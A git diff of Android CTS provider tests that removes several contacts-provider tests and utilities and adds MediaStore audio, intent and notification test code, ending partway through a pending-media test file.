-            assertEquals(0, cursor.getLong(PEOPLE_LAST_CONTACTED_INDEX));
-            assertEquals(0, cursor.getLong(PEOPLE_TIMES_CONTACTED_INDEX));
-            cursor.close();
-
-            People.markAsContacted(mContentResolver, personId);
-            cursor = mProvider.query(mPeopleRowsAdded.get(0), PEOPLE_PROJECTION,
-                    null, null, null, null);
-            cursor.moveToFirst();
-            assertEquals(0, cursor.getLong(PEOPLE_LAST_CONTACTED_INDEX));
-            assertEquals(0, cursor.getLong(PEOPLE_TIMES_CONTACTED_INDEX));
-            cursor.close();
-        } catch (RemoteException e) {
-            fail("Unexpected RemoteException");
-        }
-    }
-
-    public void testAccessPhotoData() {
-        Context context = getInstrumentation().getTargetContext();
-        try {
-            InputStream inputStream = context.getResources().openRawResource(
-                    android.provider.cts.R.drawable.testimage);
-            int size = inputStream.available();
-            byte[] data =  new byte[size];
-            inputStream.read(data);
-
-            People.setPhotoData(mContentResolver, mPeopleRowsAdded.get(0), data);
-            InputStream photoStream = People.openContactPhotoInputStream(
-                    mContentResolver, mPeopleRowsAdded.get(0));
-            assertNotNull(photoStream);
-            Bitmap bitmap = BitmapFactory.decodeStream(photoStream, null, null);
-            assertEquals(96, bitmap.getWidth());
-            assertEquals(64, bitmap.getHeight());
-
-            photoStream = People.openContactPhotoInputStream(mContentResolver,
-                    mPeopleRowsAdded.get(1));
-            assertNull(photoStream);
-
-            bitmap = People.loadContactPhoto(context, mPeopleRowsAdded.get(0),
-                    android.provider.cts.R.drawable.size_48x48, null);
-            assertEquals(96, bitmap.getWidth());
-            assertEquals(64, bitmap.getHeight());
-
-            bitmap = People.loadContactPhoto(context, null,
-                    android.provider.cts.R.drawable.size_48x48, null);
-            assertNotNull(bitmap);
-        } catch (IOException e) {
-            fail("Unexpected IOException");
-        }
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/RawContactUtil.java b/tests/tests/provider/src/android/provider/cts/contacts/RawContactUtil.java
deleted file mode 100644
index b8e1576..0000000
--- a/tests/tests/provider/src/android/provider/cts/contacts/RawContactUtil.java
+++ /dev/null
@@ -1,108 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.provider.cts.contacts;
-
-import android.accounts.Account;
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.database.Cursor;
-import android.net.Uri;
-import android.provider.ContactsContract;
-
-import java.util.List;
-
-/**
- * Convenience methods for operating on the RawContacts table.
- */
-public class RawContactUtil {
-
-    private static final Uri URI = ContactsContract.RawContacts.CONTENT_URI;
-
-    public static int update(ContentResolver resolver, long rawContactId,
-            ContentValues values) {
-        Uri uri = ContentUris.withAppendedId(URI, rawContactId);
-        return resolver.update(uri, values, null, null);
-    }
-
-    public static long createRawContactWithName(ContentResolver resolver, Account account,
-            String name) {
-        Long rawContactId = insertRawContact(resolver, account);
-        DataUtil.insertName(resolver, rawContactId, name);
-        return rawContactId;
-    }
-
-    public static long createRawContactWithAutoGeneratedName(ContentResolver resolver,
-            Account account) {
-        Long rawContactId = insertRawContact(resolver, account);
-        DataUtil.insertAutoGeneratedName(resolver, rawContactId);
-        return rawContactId;
-    }
-
-    public static long insertRawContact(ContentResolver resolver, Account account) {
-        ContentValues values = new ContentValues();
-        values.put(ContactsContract.RawContacts.ACCOUNT_NAME, account.name);
-        values.put(ContactsContract.RawContacts.ACCOUNT_TYPE, account.type);
-        Uri uri = resolver.insert(URI, values);
-        return ContentUris.parseId(uri);
-    }
-
-    public static String[] queryByRawContactId(ContentResolver resolver,
-            long rawContactId, String[] projection) {
-        Uri uri = ContentUris.withAppendedId(URI, rawContactId);
-        Cursor cursor = resolver.query(uri, projection, null, null, null);
-        return CommonDatabaseUtils.singleRecordToArray(cursor);
-    }
-
-    /**
-     * Returns a list of raw contact records.
-     *
-     * @return A list of records.  Where each record is represented as an array of strings.
-     */
-    public static List<String[]> queryByContactId(ContentResolver resolver, long contactId,
-            String[] projection) {
-        Uri uri = ContentUris.withAppendedId(URI, contactId);
-        Cursor cursor = resolver.query(uri, projection, null, null, null);
-        return CommonDatabaseUtils.multiRecordToArray(cursor);
-    }
-
-    public static void delete(ContentResolver resolver, long rawContactId,
-            boolean isSyncAdapter) {
-        Uri uri = ContentUris.withAppendedId(URI, rawContactId)
-                .buildUpon()
-                .appendQueryParameter(ContactsContract.CALLER_IS_SYNCADAPTER, isSyncAdapter + "")
-                .build();
-        resolver.delete(uri, null, null);
-    }
-
-    public static long queryContactIdByRawContactId(ContentResolver resolver, long rawContactid) {
-        String[] projection = new String[]{
-                ContactsContract.RawContacts.CONTACT_ID
-        };
-        String[] result = RawContactUtil.queryByRawContactId(resolver, rawContactid,
-                projection);
-        if (result == null) {
-            return CommonDatabaseUtils.NOT_FOUND;
-        }
-        return Long.parseLong(result[0]);
-    }
-
-    public static boolean rawContactExistsById(ContentResolver resolver, long rawContactid) {
-        long contactId = queryContactIdByRawContactId(resolver, rawContactid);
-        return contactId != CommonDatabaseUtils.NOT_FOUND;
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/account/ContactsContract_Subquery.java b/tests/tests/provider/src/android/provider/cts/contacts/account/ContactsContract_Subquery.java
deleted file mode 100644
index ab15977..0000000
--- a/tests/tests/provider/src/android/provider/cts/contacts/account/ContactsContract_Subquery.java
+++ /dev/null
@@ -1,72 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts.contacts.account;
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.database.Cursor;
-import android.provider.ContactsContract;
-import android.provider.ContactsContract.Contacts;
-import android.provider.ContactsContract.RawContacts;
-import android.provider.cts.contacts.ContactsContract_TestDataBuilder;
-import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
-import android.test.AndroidTestCase;
-
-public class ContactsContract_Subquery extends AndroidTestCase {
-    private ContentResolver mResolver;
-    private ContactsContract_TestDataBuilder mBuilder;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResolver = getContext().getContentResolver();
-        ContentProviderClient provider =
-                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
-        mBuilder = new ContactsContract_TestDataBuilder(provider);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        mBuilder.cleanup();
-    }
-
-    public void testProviderStatus_addedContacts() throws Exception {
-        TestRawContact rawContact1 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-
-        // Get the total row count.
-        final int allCount;
-        try (Cursor cursor = mResolver.query(Contacts.CONTENT_URI, null, null, null, null)) {
-            allCount = cursor.getCount();
-        }
-
-        // Make sure CP2 gives the same result with an always-true subquery.
-        try (Cursor cursor = mResolver.query(Contacts.CONTENT_URI, null,
-                "exists(select 1)", null, null)) {
-            assertEquals(allCount, cursor.getCount());
-        }
-
-        // Make sure CP2 returns no rows with an always-false subquery.
-        try (Cursor cursor = mResolver.query(Contacts.CONTENT_URI, null,
-                "not exists(select 1)", null, null)) {
-            assertEquals(0, cursor.getCount());
-        }
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreAudioTestHelper.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreAudioTestHelper.java
new file mode 100644
index 0000000..2ae1d6f
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreAudioTestHelper.java
@@ -0,0 +1,263 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.net.Uri;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Audio.Media;
+import android.provider.cts.ProviderTestUtils;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import junit.framework.Assert;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.io.IOException;
+
+/**
+ * This class contains fake data and convenient methods for testing:
+ * {@link MediaStore.Audio.Media}
+ * {@link MediaStore.Audio.Genres}
+ * {@link MediaStore.Audio.Genres.Members}
+ * {@link MediaStore.Audio.Playlists}
+ * {@link MediaStore.Audio.Playlists.Members}
+ * {@link MediaStore.Audio.Albums}
+ * {@link MediaStore.Audio.Artists}
+ * {@link MediaStore.Audio.Artists.Albums}
+ *
+ * @see MediaStore_Audio_MediaTest
+ * @see MediaStore_Audio_GenresTest
+ * @see MediaStore_Audio_Genres_MembersTest
+ * @see MediaStore_Audio_PlaylistsTest
+ * @see MediaStore_Audio_Playlists_MembersTest
+ * @see MediaStore_Audio_ArtistsTest
+ * @see MediaStore_Audio_Artists_AlbumsTest
+ * @see MediaStore_Audio_AlbumsTest
+ */
+@RunWith(AndroidJUnit4.class)
+public class MediaStoreAudioTestHelper {
+    public static abstract class MockAudioMediaInfo {
+        public abstract ContentValues getContentValues(String volumeName);
+
+        public Uri insert(ContentResolver contentResolver, String volumeName) {
+            final Uri dirUri = MediaStore.Audio.Media.getContentUri(volumeName);
+            final ContentValues values = getContentValues(volumeName);
+            contentResolver.delete(dirUri, MediaStore.Audio.Media.DATA + "=?", new String[] {
+                    values.getAsString(MediaStore.Audio.Media.DATA)
+            });
+
+            final Uri itemUri = contentResolver.insert(dirUri, values);
+            Assert.assertNotNull(itemUri);
+            return itemUri;
+        }
+
+        public int delete(ContentResolver contentResolver, Uri uri) {
+            return contentResolver.delete(uri, null, null);
+        }
+    }
+
+    public static class Audio1 extends MockAudioMediaInfo {
+        private Audio1() {
+        }
+
+        private static Audio1 sInstance = new Audio1();
+
+        public static Audio1 getInstance() {
+            return sInstance;
+        }
+
+        public static final int IS_RINGTONE = 0;
+        public static final int IS_NOTIFICATION = 0;
+        public static final int IS_ALARM = 0;
+        public static final int IS_MUSIC = 1;
+        public static final int YEAR = 1992;
+        public static final int TRACK = 1;
+        public static final int DURATION = 340000;
+        public static final String COMPOSER = "Bruce Swedien";
+        public static final String ARTIST = "Michael Jackson";
+        public static final String ALBUM = "Dangerous";
+        public static final String TITLE = "Jam";
+        public static final int SIZE = 2737870;
+        public static final String MIME_TYPE = "audio/x-mpeg";
+        public static final String FILE_NAME = "Jam.mp3";
+        public static final String DISPLAY_NAME = FILE_NAME;
+        public static final long DATE_MODIFIED = System.currentTimeMillis() / 1000;
+        public static final String GENRE = "POP";
+
+        @Override
+        public ContentValues getContentValues(String volumeName) {
+            ContentValues values = new ContentValues();
+            try {
+                final File data;
+                if (MediaStore.VOLUME_INTERNAL.equals(volumeName)) {
+                    data = new File("/data/data/android.provider.cts/files/", FILE_NAME);
+                } else {
+                    data = new File(ProviderTestUtils.stageDir(volumeName), FILE_NAME);
+                }
+                values.put(Media.DATA, data.getAbsolutePath());
+            } catch (IOException e) {
+                throw new RuntimeException(e);
+            }
+            values.put(Media.DATE_MODIFIED, DATE_MODIFIED);
+            values.put(Media.DISPLAY_NAME, DISPLAY_NAME);
+            values.put(Media.MIME_TYPE, MIME_TYPE);
+            values.put(Media.SIZE, SIZE);
+            values.put(Media.TITLE, TITLE);
+            values.put(Media.ALBUM, ALBUM);
+            values.put(Media.ARTIST, ARTIST);
+            values.put(Media.COMPOSER, COMPOSER);
+            values.put(Media.DURATION, DURATION);
+            values.put(Media.TRACK, TRACK);
+            values.put(Media.YEAR, YEAR);
+            values.put(Media.IS_MUSIC, IS_MUSIC);
+            values.put(Media.IS_ALARM, IS_ALARM);
+            values.put(Media.IS_NOTIFICATION, IS_NOTIFICATION);
+            values.put(Media.IS_RINGTONE, IS_RINGTONE);
+            return values;
+        }
+    }
+
+    public static class Audio2 extends MockAudioMediaInfo {
+        private Audio2() {
+        }
+
+        private static Audio2 sInstance = new Audio2();
+
+        public static Audio2 getInstance() {
+            return sInstance;
+        }
+
+        public static final int IS_RINGTONE = 1;
+        public static final int IS_NOTIFICATION = 0;
+        public static final int IS_ALARM = 0;
+        public static final int IS_MUSIC = 0;
+        public static final int YEAR = 1992;
+        public static final int TRACK = 1001;
+        public static final int DURATION = 338000;
+        public static final String COMPOSER = "Bruce Swedien";
+        public static final String ARTIST =
+            "Michael Jackson - Live And Dangerous - National Stadium Bucharest";
+        public static final String ALBUM =
+            "Michael Jackson - Live And Dangerous - National Stadium Bucharest";
+        public static final String TITLE = "Jam";
+        public static final int SIZE = 2737321;
+        public static final String MIME_TYPE = "audio/x-mpeg";
+        public static final String FILE_NAME = "Jam_live.mp3";
+        public static final String DISPLAY_NAME = FILE_NAME;
+        public static final long DATE_MODIFIED = System.currentTimeMillis() / 1000;
+
+        @Override
+        public ContentValues getContentValues(String volumeName) {
+            ContentValues values = new ContentValues();
+            try {
+                final File data;
+                if (MediaStore.VOLUME_INTERNAL.equals(volumeName)) {
+                    data = new File("/data/data/android.provider.cts/files/", FILE_NAME);
+                } else {
+                    data = new File(ProviderTestUtils.stageDir(volumeName), FILE_NAME);
+                }
+                values.put(Media.DATA, data.getAbsolutePath());
+            } catch (IOException e) {
+                throw new RuntimeException(e);
+            }
+            values.put(Media.DATE_MODIFIED, DATE_MODIFIED);
+            values.put(Media.DISPLAY_NAME, DISPLAY_NAME);
+            values.put(Media.MIME_TYPE, MIME_TYPE);
+            values.put(Media.SIZE, SIZE);
+            values.put(Media.TITLE, TITLE);
+            values.put(Media.ALBUM, ALBUM);
+            values.put(Media.ARTIST, ARTIST);
+            values.put(Media.COMPOSER, COMPOSER);
+            values.put(Media.DURATION, DURATION);
+            values.put(Media.TRACK, TRACK);
+            values.put(Media.YEAR, YEAR);
+            values.put(Media.IS_MUSIC, IS_MUSIC);
+            values.put(Media.IS_ALARM, IS_ALARM);
+            values.put(Media.IS_NOTIFICATION, IS_NOTIFICATION);
+            values.put(Media.IS_RINGTONE, IS_RINGTONE);
+            return values;
+        }
+    }
+
+    public static class Audio3 extends Audio1 {
+        private Audio3() {
+        }
+
+        private static Audio3 sInstance = new Audio3();
+
+        public static Audio3 getInstance() {
+            return sInstance;
+        }
+
+        @Override
+        public ContentValues getContentValues(String volumeName) {
+            ContentValues values = super.getContentValues(volumeName);
+            values.put(Media.DATA, values.getAsString(Media.DATA) + "_3");
+            return values;
+        }
+    }
+
+    public static class Audio4 extends Audio1 {
+        private Audio4() {
+        }
+
+        private static Audio4 sInstance = new Audio4();
+
+        public static Audio4 getInstance() {
+            return sInstance;
+        }
+
+        @Override
+        public ContentValues getContentValues(String volumeName) {
+            ContentValues values = super.getContentValues(volumeName);
+            values.put(Media.DATA, values.getAsString(Media.DATA) + "_4");
+            return values;
+        }
+    }
+
+    public static class Audio5 extends Audio1 {
+        private Audio5() {
+        }
+
+        private static Audio5 sInstance = new Audio5();
+
+        public static Audio5 getInstance() {
+            return sInstance;
+        }
+
+        @Override
+        public ContentValues getContentValues(String volumeName) {
+            ContentValues values = super.getContentValues(volumeName);
+            values.put(Media.DATA, values.getAsString(Media.DATA) + "_5");
+            return values;
+        }
+    }
+
+    @Test
+    public void testStub() {
+        // No-op test here to keep atest happy
+    }
+
+    // These constants are not part of the public API
+    public static final String EXTERNAL_VOLUME_NAME = "external";
+    public static final String INTERNAL_VOLUME_NAME = "internal";
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreIntentsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreIntentsTest.java
new file mode 100644
index 0000000..d5442e0
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreIntentsTest.java
@@ -0,0 +1,169 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Intent;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.provider.MediaStore;
+import android.provider.cts.ProviderTestUtils;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.util.List;
+
+/**
+ * Tests to verify that common actions on {@link MediaStore} content are
+ * available.
+ */
+@RunWith(Parameterized.class)
+public class MediaStoreIntentsTest {
+    private Uri mExternalAudio;
+    private Uri mExternalVideo;
+    private Uri mExternalImages;
+
+    @Parameter(0)
+    public String mVolumeName;
+
+    @Parameters
+    public static Iterable<? extends Object> data() {
+        return ProviderTestUtils.getSharedVolumeNames();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        Log.d(TAG, "Using volume " + mVolumeName);
+        mExternalAudio = MediaStore.Audio.Media.getContentUri(mVolumeName);
+        mExternalVideo = MediaStore.Video.Media.getContentUri(mVolumeName);
+        mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
+    }
+
+    public void assertCanBeHandled(Intent intent) {
+        List<ResolveInfo> resolveInfoList = InstrumentationRegistry.getTargetContext()
+                .getPackageManager().queryIntentActivities(intent, 0);
+        assertNotNull("Missing ResolveInfo", resolveInfoList);
+        assertTrue("No ResolveInfo found for " + intent.toString(),
+                resolveInfoList.size() > 0);
+    }
+
+    @Test
+    public void testPickImageDir() {
+        Intent intent = new Intent(Intent.ACTION_PICK);
+        intent.setData(mExternalImages);
+        assertCanBeHandled(intent);
+    }
+
+    @Test
+    public void testPickVideoDir() {
+        Intent intent = new Intent(Intent.ACTION_PICK);
+        intent.setData(mExternalVideo);
+        assertCanBeHandled(intent);
+    }
+
+    @Test
+    public void testPickAudioDir() {
+        Intent intent = new Intent(Intent.ACTION_PICK);
+        intent.setData(mExternalAudio);
+        assertCanBeHandled(intent);
+    }
+
+    @Test
+    public void testViewImageDir() {
+        Intent intent = new Intent(Intent.ACTION_VIEW);
+        intent.setData(mExternalImages);
+        assertCanBeHandled(intent);
+    }
+
+    @Test
+    public void testViewVideoDir() {
+        Intent intent = new Intent(Intent.ACTION_VIEW);
+        intent.setData(mExternalVideo);
+        assertCanBeHandled(intent);
+    }
+
+    @Test
+    public void testViewImageFile() {
+        final String[] schemes = new String[] {
+                "file", "http", "https", "content" };
+        final String[] mimes = new String[] {
+                "image/bmp", "image/jpeg", "image/png", "image/gif", "image/webp",
+                "image/x-adobe-dng", "image/x-canon-cr2", "image/x-nikon-nef", "image/x-nikon-nrw",
+                "image/x-sony-arw", "image/x-panasonic-rw2", "image/x-olympus-orf",
+                "image/x-fuji-raf", "image/x-pentax-pef", "image/x-samsung-srw" };
+
+        for (String scheme : schemes) {
+            for (String mime : mimes) {
+                Intent intent = new Intent(Intent.ACTION_VIEW);
+                final Uri uri = new Uri.Builder().scheme(scheme)
+                        .authority("example.com").path("image").build();
+                intent.setDataAndType(uri, mime);
+                assertCanBeHandled(intent);
+            }
+        }
+    }
+
+    @Test
+    public void testViewVideoFile() {
+        final String[] schemes = new String[] {
+                "file", "http", "https", "content" };
+        final String[] mimes = new String[] {
+                "video/mpeg4", "video/mp4", "video/3gp", "video/3gpp", "video/3gpp2",
+                "video/webm" };
+
+        for (String scheme : schemes) {
+            for (String mime : mimes) {
+                Intent intent = new Intent(Intent.ACTION_VIEW);
+                final Uri uri = new Uri.Builder().scheme(scheme)
+                        .authority("example.com").path("video").build();
+                intent.setDataAndType(uri, mime);
+                assertCanBeHandled(intent);
+            }
+        }
+    }
+
+    @Test
+    public void testViewAudioFile() {
+        final String[] schemes = new String[] {
+                "file", "http", "content" };
+        final String[] mimes = new String[] {
+                "audio/mpeg", "audio/mp4", "audio/ogg", "audio/webm", "application/ogg",
+                "application/x-ogg" };
+
+        for (String scheme : schemes) {
+            for (String mime : mimes) {
+                Intent intent = new Intent(Intent.ACTION_VIEW);
+                final Uri uri = new Uri.Builder().scheme(scheme)
+                        .authority("example.com").path("audio").build();
+                intent.setDataAndType(uri, mime);
+                assertCanBeHandled(intent);
+            }
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreNotificationTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreNotificationTest.java
new file mode 100644
index 0000000..e227759
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreNotificationTest.java
@@ -0,0 +1,193 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.ContentObserver;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.provider.MediaStore;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(Parameterized.class)
+public class MediaStoreNotificationTest {
+    private Context mContext;
+    private ContentResolver mResolver;
+
+    private Uri mSpecificImages;
+    private Uri mSpecificFiles;
+    private Uri mGenericImages;
+    private Uri mGenericFiles;
+
+    @Parameter(0)
+    public String mVolumeName;
+
+    @Parameters
+    public static Iterable<? extends Object> data() {
+        return MediaStore.getExternalVolumeNames(InstrumentationRegistry.getTargetContext());
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mResolver = mContext.getContentResolver();
+
+        Log.d(TAG, "Using volume " + mVolumeName);
+        mSpecificImages = MediaStore.Images.Media.getContentUri(mVolumeName);
+        mSpecificFiles = MediaStore.Files.getContentUri(mVolumeName);
+        mGenericImages = MediaStore.Images.Media.getContentUri(MediaStore.VOLUME_EXTERNAL);
+        mGenericFiles = MediaStore.Files.getContentUri(MediaStore.VOLUME_EXTERNAL);
+    }
+
+    @Test
+    public void testSimple() throws Exception {
+        Uri specificImage;
+        Uri specificFile;
+        Uri genericImage;
+        Uri genericFile;
+
+        try (BlockingObserver si = BlockingObserver.createAndRegister(mSpecificImages);
+                BlockingObserver sf = BlockingObserver.createAndRegister(mSpecificFiles);
+                BlockingObserver gi = BlockingObserver.createAndRegister(mGenericImages);
+                BlockingObserver gf = BlockingObserver.createAndRegister(mGenericFiles)) {
+            final ContentValues values = new ContentValues();
+            values.put(MediaStore.Images.Media.IS_PENDING, 1);
+            values.put(MediaStore.Images.Media.MIME_TYPE, "image/jpeg");
+            values.put(MediaStore.Images.Media.DISPLAY_NAME, "cts" + System.nanoTime());
+            specificImage = mResolver.insert(mSpecificImages, values);
+
+            final long id = ContentUris.parseId(specificImage);
+            specificFile = ContentUris.withAppendedId(mSpecificFiles, id);
+            genericImage = ContentUris.withAppendedId(mGenericImages, id);
+            genericFile = ContentUris.withAppendedId(mGenericFiles, id);
+        }
+
+        try (BlockingObserver si = BlockingObserver.createAndRegister(specificImage);
+                BlockingObserver sf = BlockingObserver.createAndRegister(specificFile);
+                BlockingObserver gi = BlockingObserver.createAndRegister(genericImage);
+                BlockingObserver gf = BlockingObserver.createAndRegister(genericFile)) {
+            final ContentValues values = new ContentValues();
+            values.put(MediaStore.Images.Media.SIZE, 32);
+            mResolver.update(specificImage, values, null, null);
+        }
+
+        try (BlockingObserver si = BlockingObserver.createAndRegister(specificImage);
+                BlockingObserver sf = BlockingObserver.createAndRegister(specificFile);
+                BlockingObserver gi = BlockingObserver.createAndRegister(genericImage);
+                BlockingObserver gf = BlockingObserver.createAndRegister(genericFile)) {
+            mResolver.delete(specificImage, null, null);
+        }
+    }
+
+    @Test
+    @Ignore("b/139110347")
+    public void testCursor() throws Exception {
+        try (Cursor si = mResolver.query(mSpecificImages, null, null, null);
+                Cursor sf = mResolver.query(mSpecificFiles, null, null, null);
+                Cursor gi = mResolver.query(mGenericImages, null, null, null);
+                Cursor gf = mResolver.query(mGenericFiles, null, null, null)) {
+            try (BlockingObserver sio = BlockingObserver.create();
+                    BlockingObserver sfo = BlockingObserver.create();
+                    BlockingObserver gio = BlockingObserver.create();
+                    BlockingObserver gfo = BlockingObserver.create()) {
+                si.registerContentObserver(sio);
+                sf.registerContentObserver(sfo);
+                gi.registerContentObserver(gio);
+                gf.registerContentObserver(gfo);
+
+                // Insert a simple item that will trigger notifications
+                final ContentValues values = new ContentValues();
+                values.put(MediaStore.Images.Media.IS_PENDING, 1);
+                values.put(MediaStore.Images.Media.MIME_TYPE, "image/jpeg");
+                values.put(MediaStore.Images.Media.DISPLAY_NAME, "cts" + System.nanoTime());
+                final Uri uri = mResolver.insert(mSpecificImages, values);
+                mResolver.delete(uri, null, null);
+            }
+        }
+    }
+
+    private static class BlockingObserver extends ContentObserver implements AutoCloseable {
+        private final Uri mUri;
+        private final CountDownLatch mLatch = new CountDownLatch(1);
+
+        private static HandlerThread sHandlerThread;
+        private static Handler sHandler;
+
+        static {
+            sHandlerThread = new HandlerThread(TAG);
+            sHandlerThread.start();
+            sHandler = new Handler(sHandlerThread.getLooper());
+        }
+
+        private BlockingObserver(Uri uri) {
+            super(sHandler);
+            mUri = uri;
+        }
+
+        public static BlockingObserver create() {
+            return new BlockingObserver(null);
+        }
+
+        public static BlockingObserver createAndRegister(Uri uri) {
+            final BlockingObserver obs = new BlockingObserver(uri);
+            InstrumentationRegistry.getTargetContext().getContentResolver()
+                    .registerContentObserver(uri, true, obs);
+            return obs;
+        }
+
+        @Override
+        public void onChange(boolean selfChange, Uri uri) {
+            super.onChange(selfChange, uri);
+            Log.v(TAG, "Notified about " + uri);
+            mLatch.countDown();
+        }
+
+        @Override
+        public void close() {
+            try {
+                if (!mLatch.await(5, TimeUnit.SECONDS)) {
+                    throw new InterruptedException();
+                }
+            } catch (InterruptedException e) {
+                throw new IllegalStateException("Failed to get notification for " + mUri);
+            } finally {
+                InstrumentationRegistry.getTargetContext().getContentResolver()
+                        .unregisterContentObserver(this);
+            }
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStorePendingTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStorePendingTest.java
new file mode 100644
index 0000000..ae5674b
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStorePendingTest.java
@@ -0,0 +1,463 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.ProviderTestUtils.containsId;
+import static android.provider.cts.ProviderTestUtils.getRawFile;
+import static android.provider.cts.ProviderTestUtils.getRawFileHash;
+import static android.provider.cts.ProviderTestUtils.hash;
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Environment;
+import android.os.FileUtils;
